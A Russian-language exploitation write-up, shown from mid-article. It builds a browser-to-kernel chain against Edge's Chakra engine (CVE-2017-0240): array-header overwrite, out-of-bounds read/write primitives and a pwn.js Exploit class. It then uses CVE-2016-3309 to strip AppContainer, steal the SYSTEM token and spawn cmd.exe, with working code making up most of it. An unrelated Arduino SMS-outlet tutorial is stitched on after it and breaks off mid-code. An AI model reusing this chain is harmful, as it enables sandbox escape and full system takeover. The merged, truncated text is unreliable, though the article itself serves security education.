Массивы в `Chakra` (`JS`-движок, используемый в браузере `Edge`) устроены следующим образом: объект массива имеет фиксированный размер, сами указатели на объекты массива (или значения, в случае `IntArray`) хранятся в отдельной области памяти — сегменте, указатель на который содержится в объекте массива. Заголовок сегмента содержит различную информацию, в том числе размер сегмента, который соответствует размеру массива. Размер массива также присутствует и в самом объекте массива. Схематично это выглядит следующим образом:
Таким образом, если нам удастся выделить сегмент массива в ранее освобожденном пространстве, то мы сможем перезаписать заголовок сегмента массива содержимым аудио-буфера. Для этого модифицируем код выше, добавив в следующие строки после `sleep(1000);`:
```
...
/* Для повышения вероятности захватить интересующий нас сегмент массива,
создаем большое их количество. Глобальный массив arr необходим для
дальнейшего обращения созданным далее массивам */
arr = new Array(128);
for(var i = 0; i < arr.length; i++)
{
arr[i] = new Array(0x3ff0);
for(var j = 0; j < arr[i].length; j++)
arr[i][j] = 0x30303030;
}
...
```
Размер массивов подобран таким образом, чтобы размер сегмента массива занимал целый сегмент кучи (минимальный неделимый участок памяти кучи, размер которого — 0x10000 байт). Запустим данный код, указав в качестве точки останова функцию `memcpy` (вызовов `memcpy` будет много, поэтому имеет смысл остановиться сначала на `edgehtml!WebCore::AudioBufferData::copyBufferData`), в которой происходило падение. Получим следующий результат:
Отлично! Теперь мы можем перезаписать заголовок сегмента массива собственными значениями. Наиболее интересные значения в данном случае — размер массива, смещение которого мы можем увидеть на скриншоте выше. Изменим содержимое аудио-буфера следующим образом:
```
...
var t = audioBuf.getChannelData(0);
var ta2 = new Uint32Array(t.buffer);
ta2[0] = 0; ta2[1] = 0;
ta2[2] = 0xffe0; ta2[3] = 0;
ta2[4] = 0; ta2[5] = 0;
ta2[6] = 0xfba6; ta2[7] = 0;
ta2[8] = 0; ta2[9] = 0x7fffffff - 2;
ta2[10] = 0x7fffffff; ta2[11] = 0;
ta2[12] = 0; ta2[13] = 0;
ta2[14] = 0x40404040; ta2[15] = 0x50505050;
...
```
Обратите внимание на значения `ta2[14]` и `ta2[15]` — они уже относятся не к заголовку сегмента, а к самим значениям массива. С помощью этого мы сможем определить нужный нам массив в глобальном массиве `arr` следующим образом:
```
...
for(var i = 0; i < arr.length; i++)
{
if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050)
{
alert('Target array idx: ' + i);
target_idx = i;
target_arr = arr[i];
break;
}
}
```
Если в результате был обнаружен массив, первые два элемента которого были изменены определенным образом, то всё отлично. Теперь мы имеем массив, размер сегмента которого больше, чем он есть на самом деле. Остальные массивы при этом можно освободить.
Тут необходимо вспомнить о том, что размер массива существует в двух сущностях: в объекте массива, где он остался неизменённым, и в сегменте массива, где мы его увеличили. Оказывается, что размер в объекте массива игнорируется, если код исполняется в `JIT`-режиме и был оптимизирован. Этого легко добиться, например, следующим образом:
```
function arr_get(idx) {
return target_arr[idx];
}
function arr_set(idx, val) {
target_arr[idx] = val;
}
for(var i = 0; i < 0x3ff0; i++)
{
arr_set(i, arr_get(i));
}
```
После этого, с помощью функций `arr_get` и `arr_set` можно обращаться за границы массива (`OOB`, `out-of-bound`).
### Использование `OOB` для получения примитива чтения и записи по произвольному адресу
В данном разделе рассмотрим технику, позволяющую добиться чтения и записи по произвольному адресу с помощью `OOB`. Метод, с помощью которого мы это получим, будет похож на тот, что используется в источнике [1], но будут также и значительные изменения.
В используемой версии `Edge` блоки памяти для кучи выделяются последовательно, благодаря чему при выделении большого количества каких-либо объектов рано или поздно они окажутся после сегмента массива, за границы которого мы можем обращаться.
Во-первых, это дает нам возможность считать указатель на виртуальную таблицу методов объектов (`vftable`), благодаря чему можно обойти рандомизацию адресного пространства процесса (`ASLR`). Но доступ к каким объектам поможет нам добиться произвольного чтения и записи? Для этого отлично подходит пара объектов `DataView`.
> Представление DataView предоставляет низкоуровневый интерфейс для чтения и записи многочисленных числовых типов в бинарном ArrayBuffer, независимо от порядка байтов платформы.
Внутренняя структура `DataView` содержит указатель на буфер. Для чтения и записи по произвольному адресу мы, например, можем построить цепочку из двух `DataView` (`dv1` и `dv2`) следующим образом: в качестве буфера `dv1` указываем адрес `dv2` с помощью обращения за пределы массива. Теперь с помощью `dv1` мы можем изменять адрес буфера `dv2`, за счет чего и достигается произвольные чтение и запись. Схематично это можно изобразить следующим образом:
Чтобы воспользоваться данным методом, необходимо научиться определять адреса объектов в памяти. Для этого существует следующая техника: необходимо создать новый `Array`, с помощью `OOB` сохранить его `vftable` и `typeId` (первые два 64-битных поля структуры) и присвоить первому элементу массива объект, адрес которого нас интересует. Затем, необходимо восстановить ранее сохраненные значения `vftable` и `typeId`. Теперь младшее и старшее двойное слово адреса объекта можно получить, обратившись к первому и второму элементу массива. Дело в том, что по умолчанию новый массив является `IntArray`, и в его сегменте хранятся 4-байтовые значения массива как они есть. При присвоении массиву объекта происходит преобразование массива в `ObjectArray`, и его сегмент используется для хранения адресов объектов. При преобразовании изменяются `vftable` и `typeId`. Соответственно, если мы восстановим исходные значения `vftable` и `typeId`, через элементы этого массива мы сможем обращаться напрямую к сегменту. Схематично описанный процесс можно изобразить следующим образом:
Функция для получения адреса будет выглядеть следующим образом:
```
function addressOf(obj) {
var hdr_backup = new Array(4);
// сохраняем vftable и typeId intarr_object
for(var i = 0; i < 4; i++)
hdr_backup[i] = arr_get(intarr_idx + i);
intarr_object[0] = obj;
// восстанавливаем vftable и typeId intarr_object
for(var i = 0; i < 4; i++)
arr_set(intarr_idx + i, hdr_backup[i]);
// возвращаем младшее и старшее двойное слово адреса объекта
return [intarr_object[0], intarr_object[1]];
}
```
Открытым вопросом остается создание необходимых объектов и поиск их с помощью `OOB`. Как было сказано ранее, при выделении большого количества объектов, рано или поздно они начнут выделяться после сегмента массива, за границы которого мы можем обращаться. Чтобы найти нужные объекты, необходимо просто пройтись по индексам за пределами массива в поиске нужных объектов. Т.к. все объекты одного типа располагаются в одном сегменте кучи, можно оптимизировать поиск и идти по сегментам кучи с шагом `0x10000`, а проверять только несколько первых значений с начала каждого сегмента кучи. Чтобы идентифицировать объекты, можно установить им уникальные значения каких-либо параметров (например, для `DataView` это может быть `byteOffset`) или, используя уже известные константы в структуре объекта (например, в используемой версии `Edge` в `IntArray` по смещению `0x18` всегда находится значение `0x10005`).
Объединив все вышеописанные приемы, можно получить чтение и запись по произвольному адресу. Ниже представлен скриншот с чтением памяти объкетов `DataView`.
Шаг 2. Выполнение произвольных функций API
------------------------------------------
На данном этапе мы получили возможность чтения и записи по произвольному адресу внутри процесса отображения контента `Edge`. Рассмотрим основные технологии, которые должны помешать дальнейшей эксплуатации приложения и средства их обхода. Мы уже писали небольшой цикл статей `Браузеры и app specific security mitigation` ([часть 1, вводная](https://habr.com/ru/company/dsec/blog/310676/), [часть 2, Internet Explorer и Edge](https://habr.com/ru/company/dsec/blog/311616/), [часть 3, Google Chrome](https://habr.com/ru/company/dsec/blog/319234/)), но стоит учитывать, что разработчики не стоят на месте и добавляют в свои продукты новые средства защиты.
### Рандомизация адресного пространства (`ASLR`)
> ASLR (англ. address space layout randomization — «рандомизация размещения адресного пространства») — технология, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур данных, а именно: образов исполняемого файла, подгружаемых библиотек, кучи и стека.
Выше мы научились считывать адреса виртуальных таблиц классов, используя их, мы с легкостью можем вычислить базовый адрес модуля `Chakra.dll`, таким образом `ASLR` не представляет проблем для дальнейшей эксплуатации.
### Data execution protection (`DEP`, `NX`)
> Предотвращение выполнения данных (англ. Dáta Execútion Prevéntion, DEP) — функция безопасности, встроенная в Linux, Mac OS X, Android и Windows, которая не позволяет приложению исполнять код из области памяти, помеченной как «только для данных». Она позволит предотвратить некоторые атаки, которые, например, сохраняют код в такой области с помощью переполнения буфера.
Один из способов обхода данной защиты — вызов `VirtualAlloc` с помощью `ROP`-цепочек. Но в случае `Edge` данный метод не сработает из-за `ACG` (см. ниже).
### Control Flow Guard (`CFG`)
> `CFG` — механизм защиты, нацеленный на то, чтобы усложнить процесс эксплуатации бинарных уязвимостей в пользовательских приложениях и приложениях режима ядра. Работа данного механизма заключается в валидации неявных вызовов (indirect calls), предотвращающей перехват потока исполнения злоумышленником (например, посредством перезаписи таблицы виртуальных функций)
Данная технология контролирует только косвенные вызовы, например, вызовы методов из виртуальной таблицы функций объектов. Адреса возврата на стеке не контролируются, и этим можно воспользоваться для построения `ROP`-цепочек. В будущем использованию `ROP/JOP/COP`-цепочек может помешать новая технология `Intel`: `Control-flow Enforcement Technology` (`CET`). Данная технология состоит из двух частей:
1. `Shadow Stack` (теневой стек) — используется для контроля адресов возврата и защищает от `ROP`-цепочек;
2. `Indirect Branch Tracking` — метод защиты от `JOP/COP`-цепочек. Представляет из себя новую инструкцию `ENDBRANCH`, которой помечаются все валидные адреса переходов для `call` и `jmp`-инструкций.
### Arbitrary Code Guard (`ACG`)
> `ACG` — это технология, препятствующая динамической генерации кода (запрещено аллоцировать `rwx`-области памяти с помощью `VirtaulAlloc`) и его модификации (нельзя переотобразить имеющуюся область памяти как исполняемую)
Данная защита, как и `CFG`, не предотвращает использование `ROP`-цепочек.
### AppContainer Isolation
> AppContainer — технология Microsoft, позволяющая изолировать процесс, запуская его в окружении-песочнице. Данная технология ограничивает доступ процесса к учетным данным, устройствам, файловой системе, сети, другим процессам и окнам и нацелена на минимизацию возможностей вредоносного ПО, получившего возможность выполнения произвольного кода в процессе.
Данная защита значительно усложняет процесс эксплуатации. Из-за неё мы не можем вызвать сторонние исполняемые файлы или получить доступ к чувствительной информации пользователя в памяти или на дисках. Однако данную защиту можно преодолеть, используя уязвимости в реализации песочницы AppContainer или с помощью повышения привилегий через эксплуатацию уязвимостей в ядре ОС.
Стоит отметить, что у `Microsoft` существует отдельная [программа вознаграждений](https://www.microsoft.com/en-us/msrc/bounty-mitigation-bypass) за техники обхода `security mitigation`-технологий. В программе указано, что повторное использование исполняемого кода (построение `ROP`-цепочек является разновидностью данной техники) не попадает под программу, т.к. является архитектурной проблемой.
### Использование pwn.js
Из анализа всех технологий защиты следует, что для получения возможности исполнения произвольного кода необходимо обойти песочницу `AppContainer`. В данной статье мы опишем способ с использованием уязвимости ядра `Windows`. При этом мы можем использовать только `JS`-код и `ROP`-цепочки. Писать эксплойт для ядра, используя только `ROP`-цепочки, может быть очень сложно. Для упрощения этой задачи можно найти набор гаджетов, с помощью которого мы бы смогли вызывать необходимые методы `WinAPI`. К счастью, это уже реализовано в библиотеке [`pwn.js`](https://github.com/theori-io/pwnjs). С помощью неё, описав лишь функции `read` и `write` для произвольного чтения и записи, можно получить удобное `API` для поиска необходимых функций `WinAPI` и их вызова. Также `pwn.js` предоставляет удобный инструмент для работы с 64-битными значениями и указателями и инструменты для работы со структурами.
Рассмотрим простой пример. На предыдущем этапе мы получили цепочку из двух связанных `DataView`. Для подготовки эксплойта необходимо создать следующий класс:
```
var Exploit = (function() {
var ChakraExploit = pwnjs.ChakraExploit;
var Integer = pwnjs.Integer;
function Exploit() {
ChakraExploit.call(this);
...
// Получение arbitrary address read/write с помощью уязвимости
...
// DataView, с помощью которого будет производится чтение и запись
this.dv = ...;
// DataView, буфер которого указывает на this.dv
this.dv_offset = ...;
// Любой адрес внутри Chakra.dll, например, указатель на виртуальную таблицу
var vtable = ...;
this.initChakra(vtable);
}
Exploit.prototype = Object.create(ChakraExploit.prototype);
Exploit.prototype.constructor = Exploit;
Exploit.prototype.set_dv_address = function(lo, hi) {
this.dv_offset.setInt32(0x38, lo, true);
this.dv_offset.setInt32(0x3c, hi, true);
}
Exploit.prototype.read = function (address, size) {
this.set_dv_address(address.low, address.high);
switch (size) {
case 8: return new Integer(this.dv.getInt8(0, true), 0, true);
case 16: return new Integer(this.dv.getInt16(0, true), 0, true);
case 32: return new Integer(this.dv.getInt32(0, true), 0, true);
case 64: return new Integer(this.dv.getInt32(0, true),
this.dv.getInt32(4, true), true);
}
}
Exploit.prototype.write = function (address, value, size) {
this.set_dv_address(address.low, address.high);
switch (size) {
case 8: this.dv.setInt8(0, value.low, true); break;
case 16: this.dv.setInt16(0, value.low, true); break;
case 32: this.dv.setInt32(0, value.low, true); break;
case 64:
this.dv.setInt32(0, value.low, true);
this.dv.setInt32(4, value.high, true);
break;
}
}
return Exploit;
})();
```
Использовать полученный класс очень легко, вот простейший пример для вызова `MessageBoxA`:
```
function run() {
with (new Exploit()) {
//alert('Chakra: ' + chakraBase.toString(16));
var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32);
var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64);
var hwnd = GetActiveWindow();
var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0);
}
}
```
В результате исполнения получим следующее сообщение:
Шаг 3. Повышение привилегий и выход из песочницы с помощью уязвимости ядра
--------------------------------------------------------------------------
На данном этапе мы научились выполнять произвольные вызовы `WinAPI`. Этого может быть достаточно для реализации эксплуатации уязвимостей ядра. Отличный пример подходящей уязвимости является `CVE-2016-3309`. Подробную информацию о ней можно найти в источниках [7] и [8], а в презентации по `pwn.js` [2] есть частичная реализация эксплойта, который основан на относительно новой технологии эксплуатации `GDI`-объектов. Познакомиться подробнее с данной технологией можно в источниках [9], [10] и [11]. В результате эксплуатации уязвимости можно получить примитив произвольного чтения и записи в пространстве ядра. Изучение самого процесса эксплуатации мы оставим на читателя, в этом помогут перечисленные выше источники. В данной статье рассмотрим лишь общие техники, позволяющие с помощью произвольного чтения и записи в пространстве ядра повысить привилегии процесса и обойти `AppContainer`, а также рассмотрим примеры реализации этих техник с помощью `pwn.js`. Конечной целью эксплуатации в данной статье будет открытие командного интерпретатора `cmd.exe` от имени пользователя `SYSTEM`.
> GDI — это интерфейс Windows для представления графических объектов и передачи их на устройства отображения, такие, как мониторы и принтеры.
Итак, у нас получилось реализовать чтение и запись по произвольному адресу в пространстве ядра. `JS`-функции для чтения и записи 64-битных значений в ядре назовем `kernel_read_64` и `kernel_write_64`, соответственно. Первым делом необходимо получить базовый адрес ядра Windows. В контексте эксплуатации уязвимости это можно сделать через объект типа `BITMAP`, адрес которого мы знаем. `pwn.js` предоставляет удобный интерфейс описания структур. Структуру `BITMAP` можно описать, например, так:
```
var BITMAP = new StructType([
['poolHeader', new ArrayType(Uint32, 4)],
// BASEOBJECT64
['hHmgr', Uint64],
['ulShareCount', Uint32],
['cExclusiveLock', Uint16],
['BaseFlags', Uint16],
['Tid', Uint64],
['dhsurf', Uint64],
['hsurf', Uint64],
['dhpdev', Uint64],
['hdev', Uint64],
['sizlBitmap', SIZEL],
['cjBits', Uint32],
['pvBits', Uint64],
['pvScan0', Uint64],
]);
```
Поле `Tid` данной структуры хранит указатель на объект `KTHREAD` с контекстом текущего потока исполнения, который, в свою очередь, содержит адрес `EmpCheckErrataList`, с помощью которого можно определить базовый адрес ядра. Таким образом, для определения адреса ядра необходимо выполнить следующий код:
```
...
var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8);
var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr);
/* g_config содержит различные смещения, специфичные для текущей версии ядра
Для вычисления смещения empCheckErrataList в WinDbg в режиме отладки ядра необходимо выполнить следующую команду:
? nt!EmpCheckErrataList - nt */
var ntoskrnl_base_address = nt_EmpCheckErrataList.sub(
g_config.nt_empCheckErrataList_offset);
...
```
Зная базовый адрес ядра, мы можем отключить ограничения `AppContainer` и повысить привилегии процесса. Для отключения ограничений `AppContainer` необходимо отчистить бит `IsPackagedProcess` из блока окружения процесса (`Process Environment Block`, `PEB`), что можно сделать не прибегая к эксплуатации уязвимости ядра. Также необходимо получить `Access Token`, в котором не будет признаков запуска приложения внутри `AppContainer`. В качестве такого токена можно взять `Access Token` системного процесса, там самым мы еще и повысим привилегии текущего процесса. `Access Token` идентифицирует пользователя и его привилегии, группу и другие данные доступа. Структура процесса в ядре `EPROCESS` содержит двусвязный список `ActiveProcessLinks`, с помощью которого можно перечислить все процессы. Указатель на `PEB` также можно получить из `EPROCESS`. Указатель на системный процесс можно получить из глобальной переменной `PsInitialSystemProcess` ядра, начиная с него, можно пройтись по всем процессам с помощью списка `ActiveProcessLinks`.
В случае браузера `Edge` существует еще одна проблема: если процесс отображения контента не отвечает, то основной процесс `Edge` его завершит вместе со всеми дочерними процессами. По этой причине необходимо создавать новый процесс от имени другого процесса с привилегиями `SYSTEM`. Это может быть, например, `winlogon.exe`.
Описанные выше техники можно реализовать с помощью `pwn.js` следующим образом:
```
// Получение PEB текущего процесса
var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size));
var pinfo_sz = Uint64.Ptr.cast(malloc(8));
NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz);
var peb = pinfo.PebBaseAddress;
/* Переключаем значение бита IsPackagedProcess для обхода ограничений
В данном случае peb имеет тип char * */
var bit_field = peb[3];
bit_field = bit_field.xor(1 << 4);
peb[3] = bit_field;
/* Смещения полей структур в текущей версии ядра также можно получить
с помощью WinDbg в режиме отладки ядра. Для этого необходимо выполнить следующее:
dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks
В результате будут перечислены смещения всех перечисленных в аргументе полей */
var ActiveProcessLinks = system_eprocess.add(
g_config.ActiveProcessLinksOffset);
var current_pid = GetCurrentProcessId();
var current_eprocess = null;
var winlogon_pid = null;
// winlogon.exe - название процесса, который будет родительским для cmd.exe
var winlogon = new CString("winlogon.exe");
var image_name = malloc(16);
var system_pid = kernel_read_64(system_eprocess.add(
g_config.UniqueProcessIdOffset));
while(!current_eprocess || !winlogon_pid)
{
var eprocess = kernel_read_64(ActiveProcessLinks).sub(
g_config.ActiveProcessLinksOffset);
var pid = kernel_read_64(eprocess.add(
g_config.UniqueProcessIdOffset));
// Копируем название просматриваемого процесса из пространства ядра
// пользовательское пространство
Uint64.store(
image_name.address,
kernel_read_64(eprocess.add(g_config.ImageNameOffset))
);
Uint64.store(
image_name.address.add(8),
kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8))
);
// Ищем процесс winlogon.exe и текущий процесс
if(_stricmp(winlogon, image_name).eq(0))
{
winlogon_pid = pid;
}
if (current_pid.eq(pid))
{
current_eprocess = eprocess;
}
// Перемещаемся к следующему процессу в двусвязном списке
ActiveProcessLinks = eprocess.add(
g_config.ActiveProcessLinksOffset);
}
// Получение токена системного процесса
var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset));
// Подготовка структур данных для запуска нового процесса в качестве
// дочернего процесса winlogon.exe
var pi = malloc(24);
memset(pi, 0, 24);
var si = malloc(104 + 8);
memset(si, 0, 104 + 8);
Uint32.store(si.address, new Integer(104 + 8));
var args = WString("cmd.exe");
var AttributeListSize = Uint64.Ptr.cast(malloc(8));
InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize);
var lpAttributeList = malloc(AttributeListSize[0]);
Uint64.store(
si.address.add(104),
lpAttributeList
);
InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize)
var winlogon_handle = Uint64.Ptr.cast(malloc(8));
// Запись системного токена в текущий процесс
kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token);
/* Обладая правами системного процесса и отключив ограничения AppContainer,
мы можем получить дескриптор запущенного процесса winlogon.exe и запустить
новый процесс в качестве дочернего процесса winlogon.exe */
winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid);
UpdateProcThreadAttribute(lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
winlogon_handle, 8, 0, 0);
CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi);
```
Результат выполнения полной цепочки эксплойтов:
На нашем YouTube вы можете посмотреть [видео](https://youtu.be/ZfeAyciYb5Y) о том, как выйти из песочницы Microsoft Edge.
Итог
----
Немного цифровых фактов:
* Человеку, ранее не знакомому с эксплуатацией браузера `Edge` и ядра `Windows`, потребовалось около 13 часов на то, чтобы разобраться и написать эксплойт для уязвимости `CVE-2017-0240` используя материалы, перечисленные в статье. Примерно столько же времени потребовалось для эксплуатации ядерной уязвимости `CVE-2016-3309`.
* Эксплойт был полностью написан на `JS`
* Всего в эксплойте 666 строчек кода на `JS`
* Полезная нагрузка эксплойта: вызов `cmd.exe` от имени пользователя `SYSTEM`, но может быть запущен любой вредоносный код
Теперь мы думаем, что у вас может сложиться некоторая картина о том, как злоумышленники на основании той же информации из патчей могут быстро создать эксплойт под интресующее их ПО. А учитывая, что человек может специализироваться на конкретном ПО, это займет у него еще меньше времени и сил. Поэтому не забывайте о своевременном обновлении своего ПО.
Материалы
---------
1. [Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10](https://github.com/mrowensnobody/presentation)
2. [Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
Exploitation](http://powerofcommunity.net/poc2017/andrew.pdf)
3. [Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine](https://conference.hitb.org/hitbsecconf2017ams/materials/CLOSING%20KEYNOTE%20-%20Natalie%20Silvanovich%20-%20The%20ECMA%20and%20The%20Chakra.pdf)
4. [Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine](https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Your_Chakra_Is_Not_Aligned.pdf)
5. [phoenhex team — cve-2018-8629-chakra.js](https://github.com/phoenhex/files/blob/master/pocs/cve-2018-8629-chakra.js)
6. [Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)](https://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html)
7. [Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)
8. [Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)](https://www.siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html)
9. [Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects](https://github.com/sensepost/gdi-palettes-exp/blob/master/5A1F_Defcon_25_Demystifying_Kernel_Exploitation_By_Abusing_GDI_Objects_white_paper.pdf)
10. [Diego Juarez — Abusing GDI for ring0 exploit primitives](https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives)
11. [Nicolas A. Economou — Abusing GDI for ring0 exploit
primitives: Evolution](https://labs.bluefrostsecurity.de/files/Abusing_GDI_for_ring0_exploit_primitives_Evolution_Slides.pdf)
12. [pwn.js](https://github.com/theori-io/pwnjs) | https://habr.com/ru/post/455594/ | null | ru | null |
# Управляем розеткой по SMS
Хочу представить вам очень простой способ удаленного управления электропитанием.
Мы будем использовать готовые радиоуправляемые розетки, поэтому нам не потребуется ничего паять. Это очень здорово, потому что 220 В (начинающим) лучше не трогать.
P.S. вчера был похожий [топик](http://habrahabr.ru/post/238907/), но использовался Raspberry Pi, управляемый через чат. Наш вариант несколько попроще и универсальнее, потому что ему не нужен Интернет и смартфон, а вместо Raspberry будет обычное Arduino.
### Нам понадобится
#### Железо
* **Arduino UNO** или аналог. В принципе можно и Mega.
* **GSM/GPRS Shield.** Подойдет любой. Я использовал шилд от китайского [Seeedstudio](http://www.seeedstudio.com/depot/GPRS-Shield-V20-p-1379.html?cPath=19_20), т.к. его проще всего купить из России.
* **Передатчик 443MHz** — на AliExpress пара приемник-передатчик стоит чуть ли не 20 руб. Мой называется FS1000A/XY-FST, где FS1000A — это передатчик.
* **Управляемая розетка(и) 443MHz**. Я брал [комплект AB440S](http://www.pollin.de/shop/dt/MzMzOTQ0OTk-/Haustechnik/Funkschaltsysteme/Funksteckdosen_Set_mit_3_Steckdosen.html) из трех розеток-переходников с пультом в немецком интернет-магазине. Сейчас, кажется, можно найти что-то подобное и у нас — видел недавно в Чип-и-Дип.
#### Софт
* Библиотека для управления GSM-шилдом. Скачайте код с сайта производителя. Для моего шилда такого кода не было, поэтому я скачал универсальную библиотеку для SIM900 [GSMSHIELD](http://www.gsmlib.org/download.html)
* [Библиотека rc-switch](https://code.google.com/p/rc-switch/) для управления розетками.
### Принцип работы
В диапазоне 433MHz могут работать без лицензии маломощные рации и устройства дистанционного управления. В продаже можно найти готовые диммеры, выключатели, патроны и розетки, управляемые пультом по радио в этом частотном диапазоне. Для наших целей лучше всего подходят «промежуточные» розетки-переходники: в обычную розетку вставляется радиоуправляемая, а уже в нее само устройство.
Чтобы такие розетки можно было различать между собой у них есть адрес, задаваемый DIP- или поворотными переключателями. За счет этого можно управлять несколькими розетками независимо. Или наоборот — установить им одинаковый адрес, чтобы они включались и выключались одновременно.
Наша схема элементарна: Ардуино получает SMS с командой, затем с помощью радиомодуля посылает сигнал «включить» или «выключить» на розетки. SMS-ки будут вида A1B0C0, где A, B, C… — имена розеток, 0 — выкл., 1 — вкл.
### Собираем устройство
1. Вставляем симкарту в GSM-шилд, а шилд в ардуину.
2. Подключаем ноги передатчика: GND→GND, VCC→5V, DATA→в один из пинов, например в 12.
3. Также я припаял проводок 15 см к ANT в углу платки передатчика. Но мне кажется, что это опционально.
### Проверяем GSM-модуль
Если вы еще не работали с GSM-шилдом до этого, я рекомендую сначала залить тестовый код (взят [отсюда](http://www.seeedstudio.com/wiki/GPRS_Shield_V2.0))и проверить его работу.
Код все данные из Serial передает в SoftwareSerial и обратно, таким образом, подключив шилд к SoftwareSerial, мы можем отправлять команды модему через Serial Monitor в Arduino IDE.
```
//Serial Relay - Arduino will patch a
//serial link between the computer and the GPRS Shield
//at 19200 bps 8-N-1
//Computer is connected to Hardware UART
//GPRS Shield is connected to the Software UART
#include
SoftwareSerial GPRS(7, 8);
unsigned char buffer[64]; // buffer array for data recieve over serial port
int count=0; // counter for buffer array
void setup()
{
GPRS.begin(19200); // the GPRS baud rate
Serial.begin(19200); // the Serial port of Arduino baud rate.
}
void loop()
{
if (GPRS.available()) // if date is comming from softwareserial port ==> data is comming from gprs shield
{
while(GPRS.available()) // reading data into char array
{
buffer[count++]=GPRS.read(); // writing data into array
if(count == 64)break;
}
Serial.write(buffer,count); // if no data transmission ends, write buffer to hardware serial port
clearBufferArray(); // call clearBufferArray function to clear the storaged data from the array
count = 0; // set counter of while loop to zero
}
if (Serial.available()) // if data is available on hardwareserial port ==> data is comming from PC or notebook
GPRS.write(Serial.read()); // write it to the GPRS shield
}
void clearBufferArray() // function to clear buffer array
{
for (int i=0; i
```
Заливаем код в Ардуино, открываем Serial monitor. Вводим команду ***AT*** — ответ должен быть OK. Если ответа нет, значит что-то не так. Возможно, нужно поменять скорость передачи?
Дальше можно проверить, что мы зарегистрировались в сети:
***AT+COPS?***
`+COPS: 0,0,"MTS-RUS"`
`OK`
Я рекомендую понизить скорость UART-модема. Не знаю точно насчет SMS, но GPRS точно работает надежнее на низких скоростях — у Ардуинки маленький буфер и часть информации может теряться. Установим скорость 2400 бод.
`AT+IPR=2400`
`OK`
Если вы хотите еще поиграться с модемом, то рекомендую использовать готовый [java-апплет](http://m2msupport.net/m2msupport/module-tester/) для браузера. Ну и можно почитать [мануал](http://www.seeedstudio.com/wiki/File:SIM900_AT_Command_Manual_V1.03.pdf) по командам.
### Смотрим/меняем адреса розеток
У розеток есть аппаратный адрес из двух частей. Первые 5 бит — одинаковые у всего комплекта и совпадают с адресом пульта. Последние 5 бит — индивидуальные. Адрес можно поменять, отвернув крышечку. На других моделях задание адреса может отличаться — см. [сайт rc-switch](https://code.google.com/p/rc-switch/wiki/HowTo_OperateLowCostOutlets).
### Код
Если вы используете не GSMSHIELD, а какую-то другую библиотеку, то код разумеется будет отличаться, но принцип будет один и тот же. Через определенные интервалы времени мы проверяем, нет ли у нас непрочитанных SMS, парсим их, и если пришла валидная команда с авторизованного номера, то посылаем радиосигнал функциями `mySwitch.switchOff` или `mySwitch.switchOn`, передавая им адрес розетки.
*Прим. в моем случае для шилда от Seeedstudio нужно было залезть в GSM.cpp и поменять заданные пины на 7 и 8.*
```
/*
Arduino GSM-switch example code
Switch on/off radio controlled controlled outlets
Author: Vladislav Ross, 2014
Contact: vladislav.ross@gmail.com
You need to download:
1. rc-switch https://code.google.com/p/rc-switch/
2. GSMSHIELD http://www.gsmlib.org/
For GSMSHIELD:
* To change pins for Software Serial, use the two lines in GSM.cpp.
* If you are using Mega, uncomment "#define MEGA" line in HWSerial.h
* You can enable debug messages on serial port by defining DEBUG_ON
*/
#include "SIM900.h"
#include
#include "sms.h"
#include "call.h"
#include
// 433MHz transmitter pin
const byte RCpin = 12;
char groupAddress[6] = "11111";
char smsLetters[] = "ABC";
char\* deviceAddresses[] = {
"10000", //A
"01000", //B
"00100" //C
};
char adminNumber[] = "+74991356235"; //your phone number
CallGSM call;
SMSGSM sms;
RCSwitch mySwitch = RCSwitch();
char number[20];
byte stat=0;
char smsText[11];
byte position;
int deviceLetterIdx = -1;
byte i,j;
void setup()
{
gsm.begin(2400);
delay(10000);
for(i = 1; i <= 21; i++)
{
sms.DeleteSMS(i);
}
mySwitch.enableTransmit(RCpin);
};
void loop()
{
//hang up all incoming calls
/\*stat=call.CallStatus();
if(stat==CALL\_INCOM\_VOICE)
{
call.HangUp();
}\*/
position = sms.IsSMSPresent(SMS\_UNREAD); //get new SMS
if (position)
{
sms.GetSMS(position, number, smsText, 10);
sms.DeleteSMS(position);
if(strcmp(number, adminNumber) == 0) //accept SMS only from defined number
{
for (i = 0; i < sizeof(smsText) - 1; i++)
{
